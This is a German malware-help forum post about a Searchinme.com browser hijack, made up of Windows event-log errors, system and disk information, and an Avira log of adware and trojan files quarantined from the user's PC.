Description: Fehler beim Herunterladen der Zeichenfolgen der Leistungsindikatoren für Dienst "WmiApRpl" (WmiApRpl). Der Fehlercode ist das erste DWORD im Datenbereich.

Error: (04/15/2017 09:40:42 AM) (Source: Microsoft-Windows-LoadPerf) (EventID: 3012) (User: NT-AUTORITÄT)
Description: Die Zeichenfolgen der Leistungsindikatoren in der Leistungsindikatorenregistrierung werden beschädigt wenn der Prozess "Performance" auf dem Erweiterungsleistungsindikator-Anbieter ausgeführt wird. Der Wert "BaseIndex" aus der Leistungsregistrierung ist das erste DWORD im Datenbereich, der Wert "LastCounter" ist das zweite DWORD im Datenbereich und der Werte "LastHelp" ist das dritte DWORD im Datenbereich.

Error: (04/15/2017 09:40:42 AM) (Source: Microsoft-Windows-LoadPerf) (EventID: 3012) (User: NT-AUTORITÄT)
Description: Die Zeichenfolgen der Leistungsindikatoren in der Leistungsindikatorenregistrierung werden beschädigt wenn der Prozess "Performance" auf dem Erweiterungsleistungsindikator-Anbieter ausgeführt wird. Der Wert "BaseIndex" aus der Leistungsregistrierung ist das erste DWORD im Datenbereich, der Wert "LastCounter" ist das zweite DWORD im Datenbereich und der Werte "LastHelp" ist das dritte DWORD im Datenbereich.

Error: (04/15/2017 09:36:27 AM) (Source: WinMgmt) (EventID: 10) (User: )
Description: Ereignisfilter mit Abfrage "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA "Win32_Processor" AND TargetInstance.LoadPercentage > 99" konnte im Namespace "//./root/CIMV2" nicht reaktiviert werden aufgrund des Fehlers 0x80041003. Ereignisse können nicht durch diesen Filter geschickt werden, bis dieses Problem gelöst ist.

Error: (04/15/2017 09:36:25 AM) (Source: amdacpusrsvc) (EventID: 0) (User: )
Description: Event-ID 0

Error: (04/15/2017 08:18:48 AM) (Source: Microsoft-Windows-LoadPerf) (EventID: 3011) (User: NT-AUTORITÄT)
Description: Fehler beim Herunterladen der Zeichenfolgen der Leistungsindikatoren für Dienst "ASP.NET" (ASP.NET). Der Fehlercode ist das erste DWORD im Datenbereich.

Error: (04/15/2017 08:18:48 AM) (Source: Microsoft-Windows-LoadPerf) (EventID: 3012) (User: NT-AUTORITÄT)
Description: Die Zeichenfolgen der Leistungsindikatoren in der Leistungsindikatorenregistrierung werden beschädigt wenn der Prozess "Performance" auf dem Erweiterungsleistungsindikator-Anbieter ausgeführt wird. Der Wert "BaseIndex" aus der Leistungsregistrierung ist das erste DWORD im Datenbereich, der Wert "LastCounter" ist das zweite DWORD im Datenbereich und der Werte "LastHelp" ist das dritte DWORD im Datenbereich.

Error: (04/15/2017 08:18:48 AM) (Source: Microsoft-Windows-LoadPerf) (EventID: 3012) (User: NT-AUTORITÄT)
Description: Die Zeichenfolgen der Leistungsindikatoren in der Leistungsindikatorenregistrierung werden beschädigt wenn der Prozess "Performance" auf dem Erweiterungsleistungsindikator-Anbieter ausgeführt wird. Der Wert "BaseIndex" aus der Leistungsregistrierung ist das erste DWORD im Datenbereich, der Wert "LastCounter" ist das zweite DWORD im Datenbereich und der Werte "LastHelp" ist das dritte DWORD im Datenbereich.

Error: (04/15/2017 08:18:46 AM) (Source: Microsoft-Windows-LoadPerf) (EventID: 3011) (User: NT-AUTORITÄT)
Description: Fehler beim Herunterladen der Zeichenfolgen der Leistungsindikatoren für Dienst "ASP.NET" (ASP.NET). Der Fehlercode ist das erste DWORD im Datenbereich.

Error: (04/15/2017 08:18:46 AM) (Source: Microsoft-Windows-LoadPerf) (EventID: 3012) (User: NT-AUTORITÄT)
Description: Die Zeichenfolgen der Leistungsindikatoren in der Leistungsindikatorenregistrierung werden beschädigt wenn der Prozess "Performance" auf dem Erweiterungsleistungsindikator-Anbieter ausgeführt wird. Der Wert "BaseIndex" aus der Leistungsregistrierung ist das erste DWORD im Datenbereich, der Wert "LastCounter" ist das zweite DWORD im Datenbereich und der Werte "LastHelp" ist das dritte DWORD im Datenbereich.


Systemfehler:
=============
Error: (04/15/2017 11:02:52 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Windows Modules Installer" wurde mit folgendem Fehler beendet: 
Zugriff verweigert

Error: (04/15/2017 11:02:21 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Windows Modules Installer" wurde mit folgendem Fehler beendet: 
Zugriff verweigert

Error: (04/15/2017 11:01:51 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Windows Modules Installer" wurde mit folgendem Fehler beendet: 
Zugriff verweigert

Error: (04/15/2017 11:01:21 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Windows Modules Installer" wurde mit folgendem Fehler beendet: 
Zugriff verweigert

Error: (04/15/2017 11:00:51 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Windows Modules Installer" wurde mit folgendem Fehler beendet: 
Zugriff verweigert

Error: (04/15/2017 11:00:21 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Windows Modules Installer" wurde mit folgendem Fehler beendet: 
Zugriff verweigert

Error: (04/15/2017 10:59:51 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Windows Modules Installer" wurde mit folgendem Fehler beendet: 
Zugriff verweigert

Error: (04/15/2017 10:59:21 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Windows Modules Installer" wurde mit folgendem Fehler beendet: 
Zugriff verweigert

Error: (04/15/2017 10:58:51 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Windows Modules Installer" wurde mit folgendem Fehler beendet: 
Zugriff verweigert

Error: (04/15/2017 10:58:21 AM) (Source: Service Control Manager) (EventID: 7023) (User: )
Description: Der Dienst "Windows Modules Installer" wurde mit folgendem Fehler beendet: 
Zugriff verweigert


==================== Speicherinformationen =========================== 

Prozessor: AMD A6-7470K Radeon R5, 6 Compute Cores 2C+4G 
Prozentuale Nutzung des RAM: 58%
Installierter physikalischer RAM: 3539.4 MB
Verfügbarer physikalischer RAM: 1460.8 MB
Summe virtueller Speicher: 7076.98 MB
Verfügbarer virtueller Speicher: 4418.46 MB

==================== Laufwerke ================================

Drive c: () (Fixed) (Total:119.14 GB) (Free:55.43 GB) NTFS

==================== MBR & Partitionstabelle ==================

========================================================
Disk: 0 (MBR Code: Windows 7 or 8) (Size: 119.2 GB) (Disk ID: E995DC79)
Partition 1: (Active) - (Size=100 MB) - (Type=07 NTFS)
Partition 2: (Not Active) - (Size=119.1 GB) - (Type=07 NTFS)

==================== Ende von Addition.txt ============================

Avira-Ereignisse.txt

Code:

ATTFilter

15.04.2017, 11:02:51 [System-Scanner] Malware gefunden
	Die Datei 'C:\Windows\Temp\t5t77CB.tmp'
	enthält folgendes Muster 'TR/Sefnit.vnvwc' [trojan]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '10ba628f.qua' verschoben!

15.04.2017, 11:02:40 [System-Scanner] Malware gefunden
	Die Datei 'C:\Windows\Temp\d7dF.tmp'
	enthält folgendes Muster 'Adware/ELEX.ecpqn' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '19816633.qua' verschoben!

15.04.2017, 10:16:06 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\Temp\2\yacqq.exe'
	enthält folgendes Muster 'Adware/ELEX.nwhip' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '5ca92431.qua' verschoben!

15.04.2017, 10:15:59 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\Temp\2\kitty.exe'
	enthält folgendes Muster 'Adware/HPDefender.gfqym' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '528214f9.qua' verschoben!

15.04.2017, 10:15:53 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\Temp\1\yacqq.exe'
	enthält folgendes Muster 'TR/Obfuscate.tyeep' [trojan]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '230a2d5e.qua' verschoben!

15.04.2017, 10:15:45 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\Temp\1\RegKey.dll'
	enthält folgendes Muster 'Adware/ELEX.urvkf' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '4f5a0162.qua' verschoben!

15.04.2017, 10:15:37 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\Temp\1\Kyubey.exe'
	enthält folgendes Muster 'Adware/ELEX.rbwxc' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '560c3acc.qua' verschoben!

15.04.2017, 10:15:30 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\Temp\~bk369D.tmp'
	enthält folgendes Muster 'TR/Obfuscate.tyeep' [trojan]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '7b6c10c7.qua' verschoben!

15.04.2017, 10:15:26 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\Temp\~bk369C.tmp'
	enthält folgendes Muster 'Adware/ELEX.exevr' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '07745093.qua' verschoben!

15.04.2017, 10:15:21 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\Temp\~bk323A.tmp'
	enthält folgendes Muster 'Adware/ELEX.nwhip' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '4bcc7d22.qua' verschoben!

15.04.2017, 10:15:18 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\Temp\~bk3239.tmp'
	enthält folgendes Muster 'Adware/ELEX.mcdzw' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '34d74f40.qua' verschoben!

15.04.2017, 09:45:37 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\Kitty\cat.exe'
	enthält folgendes Muster 'Adware/HPDefender.gfqym' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '4502713e.qua' verschoben!
	Der Registrierungseintrag <HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kitty\ImagePath> wurde erfolgreich repariert.

15.04.2017, 09:38:10 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/Mutabaha.bwojb [adware]'
	in Datei 'C:\$Recycle.Bin\S-1-5-21-1784197383-2851143437-1385219817-1000\$RRJRNQU.exe gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

15.04.2017, 09:38:09 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/Mutabaha.bwojb [adware]'
	in Datei 'C:\$Recycle.Bin\S-1-5-21-1784197383-2851143437-1385219817-1000\$RRJRNQU.exe gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

15.04.2017, 07:49:03 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Local\AMD\amd.exe'
	enthält folgendes Muster 'Adware/ELEX.rbwxc' [adware]
	Ausgeführte Aktion(en):
	Beim Versuch eine Sicherungskopie der Datei anzulegen ist ein Fehler aufgetreten und die Datei wurde nicht gelöscht. Fehlernummer: 26004.
	Die Quelldatei konnte nicht gefunden werden.
	Es wird versucht die Aktion mit Hilfe der ARK Library durchzuführen.
	Die Datei konnte nicht ins Quarantäneverzeichnis verschoben werden!
	Die Datei existiert nicht!

15.04.2017, 07:48:54 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Roaming\SNARER\Snarer.dll'
	enthält folgendes Muster 'TR/Snarasite.16ebd9 (Cloud)' [trojan]
	Ausgeführte Aktion(en):
	Beim Versuch eine Sicherungskopie der Datei anzulegen ist ein Fehler aufgetreten und die Datei wurde nicht gelöscht. Fehlernummer: 26004.
	Die Quelldatei konnte nicht gefunden werden.
	Es wird versucht die Aktion mit Hilfe der ARK Library durchzuführen.
	Die Datei konnte nicht ins Quarantäneverzeichnis verschoben werden!
	Der Bootsektor wurde aufgrund des inkompatiblen Formats nicht gescannt.
	Die Datei wurde zum Löschen nach einem Neustart markiert.
	Für die abschliessende Reparatur wird ein Neustart des Computers eingeleitet.

15.04.2017, 07:48:37 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\AppData\Roaming\WinSAPSvc\WinSAP.dll'
	enthält folgendes Muster 'Adware/ELEX.kkgpe' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '7a475ce1.qua' verschoben!

15.04.2017, 07:48:27 [System-Scanner] Malware gefunden
	Die Datei 'c:\users\x\appdata\roaming\winsapsvc\winsap.dll'
	enthält folgendes Muster 'Adware/ELEX.kkgpe' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ignoriert.

31.03.2017, 02:02:13 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/ELEX.ecpqn [adware]'
	in Datei 'C:\Windows\Installer\MSID9B7.tmp gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

30.03.2017, 21:02:13 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/ELEX.ecpqn [adware]'
	in Datei 'C:\Windows\Installer\MSI2EA4.tmp gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

20.03.2017, 20:59:33 [System-Scanner] Malware gefunden
	Die Datei 'C:\Program Files\5f48c953453b1d0d9f864782fabee3ed\ebf1f21f8a062d4dcfe167ea7d233b3f.exe'
	enthält folgendes Muster 'Adware/NetFilter.ea0aa7 (Cloud)' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '6ab6bb03.qua' verschoben!

20.03.2017, 20:59:23 [System-Scanner] Malware gefunden
	Die Datei 'C:\Program Files (x86)\FixIt\FixItConsole.exe'
	enthält folgendes Muster 'PUA/OptimizerPro (Cloud)' [riskware]
	Ausgeführte Aktion(en):
	Beim Versuch eine Sicherungskopie der Datei anzulegen ist ein Fehler aufgetreten und die Datei wurde nicht gelöscht. Fehlernummer: 26004.
	Die Quelldatei konnte nicht gefunden werden.
	Es wird versucht die Aktion mit Hilfe der ARK Library durchzuführen.
	Die Datei konnte nicht ins Quarantäneverzeichnis verschoben werden!
	Die Datei existiert nicht!

20.03.2017, 20:59:14 [System-Scanner] Malware gefunden
	Die Datei 'C:\Program Files (x86)\SystemHealer\HealerConsole.exe'
	enthält folgendes Muster 'PUA/OptimizerPro (Cloud)' [riskware]
	Ausgeführte Aktion(en):
	Beim Versuch eine Sicherungskopie der Datei anzulegen ist ein Fehler aufgetreten und die Datei wurde nicht gelöscht. Fehlernummer: 26004.
	Die Quelldatei konnte nicht gefunden werden.
	Es wird versucht die Aktion mit Hilfe der ARK Library durchzuführen.
	Die Datei konnte nicht ins Quarantäneverzeichnis verschoben werden!
	Der Bootsektor wurde aufgrund des inkompatiblen Formats nicht gescannt.
	Die Datei wurde zum Löschen nach einem Neustart markiert.
	Für die abschliessende Reparatur wird ein Neustart des Computers eingeleitet.

20.03.2017, 20:05:13 [Echtzeit-Scanner] Malware gefunden
	Muster 'TR/Fuery.pglns [trojan]'
	in Datei 'C:\Windows\d25321a2df6fd0170fa61a55f4f272e9.exe gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

20.03.2017, 20:04:34 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/NetFilter.D [adware]'
	in Datei 'C:\Windows\System32\drivers\90f72614e49086b03fa12f51eebfdcdf.sys gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

20.03.2017, 20:04:34 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/NetFilter.D [adware]'
	in Datei 'C:\Windows\System32\drivers\90f72614e49086b03fa12f51eebfdcdf.sys gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

20.03.2017, 20:04:34 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/NetFilter.D [adware]'
	in Datei 'C:\Windows\System32\drivers\90f72614e49086b03fa12f51eebfdcdf.sys gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

17.03.2017, 02:02:10 [Echtzeit-Scanner] Malware gefunden
	Muster 'TR/Sefnit.vnvwc [trojan]'
	in Datei 'C:\Windows\Installer\MSIA596.tmp gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

16.03.2017, 23:59:10 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/ELEX.jmbex [adware]'
	in Datei 'C:\Users\X\AppData\Roaming\WinSAPSvc\WinSAP.dll gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

16.03.2017, 23:56:36 [Echtzeit-Scanner] Malware gefunden
	Muster 'TR/Sefnit.vnvwc [trojan]'
	in Datei 'C:\Windows\Installer\MSIF73C.tmp gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

16.03.2017, 15:12:18 [System-Scanner] Malware gefunden
	Die Datei 'C:\Users\X\Downloads\resedit64.rar'
	enthält folgendes Muster 'Adware/InstallCube.rhjoh' [adware]
	Ausgeführte Aktion(en):
	Die Datei wurde ins Quarantäneverzeichnis unter dem Namen '7b4b53f0.qua' verschoben!

16.03.2017, 14:40:21 [System-Scanner] Malware gefunden
	Die Datei 'C:\Program Files (x86)\Prerus\CrashReport.dll'
	enthält folgendes Muster 'Adware/ELEX.inpdo' [adware]
	Ausgeführte Aktion(en):
	Beim Versuch eine Sicherungskopie der Datei anzulegen ist ein Fehler aufgetreten und die Datei wurde nicht gelöscht. Fehlernummer: 26004.
	Die Quelldatei konnte nicht gefunden werden.
	Es wird versucht die Aktion mit Hilfe der ARK Library durchzuführen.
	Die Datei konnte nicht ins Quarantäneverzeichnis verschoben werden!
	Der Bootsektor wurde aufgrund des inkompatiblen Formats nicht gescannt.
	Die Datei wurde ignoriert.

16.03.2017, 14:03:17 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/ELEX.Gen7 [adware]'
	in Datei 'C:\Program Files (x86)\amulell\ed2k.exe gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

16.03.2017, 14:03:12 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/ELEX.cjcds [adware]'
	in Datei 'C:\Windows\Temp\tmp3292.tmp\Kyubey.exe gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

16.03.2017, 14:03:08 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/ELEX.bljlr [adware]'
	in Datei 'C:\Windows\Temp\tmp3292.tmp\SSS.dll gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

16.03.2017, 14:02:50 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/ELEX.cjcds [adware]'
	in Datei 'C:\Program Files (x86)\{278D76DE-BF11-4E2B-AC72-E150FCC7CE6F}\_ALLOWDEL_5b5f219\Kyubey.exe gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

16.03.2017, 14:02:43 [Echtzeit-Scanner] Malware gefunden
	Muster 'ADWARE/ELEX.bljlr [adware]'
	in Datei 'C:\Program Files (x86)\{278D76DE-BF11-4E2B-AC72-E150FCC7CE6F}\_ALLOWDEL_5b5f219\SSS.dll gefunden.
	Durchgeführte Aktion: Datei in Quarantäne verschieben

Searchinme.com installiert eigenes Firefox & Chrome

Plagegeister aller Art und deren Bekämpfung: Searchinme.com installiert eigenes Firefox & Chrome

Searchinme.com installiert eigenes Firefox & Chrome

Ähnliche Themen: Searchinme.com installiert eigenes Firefox & Chrome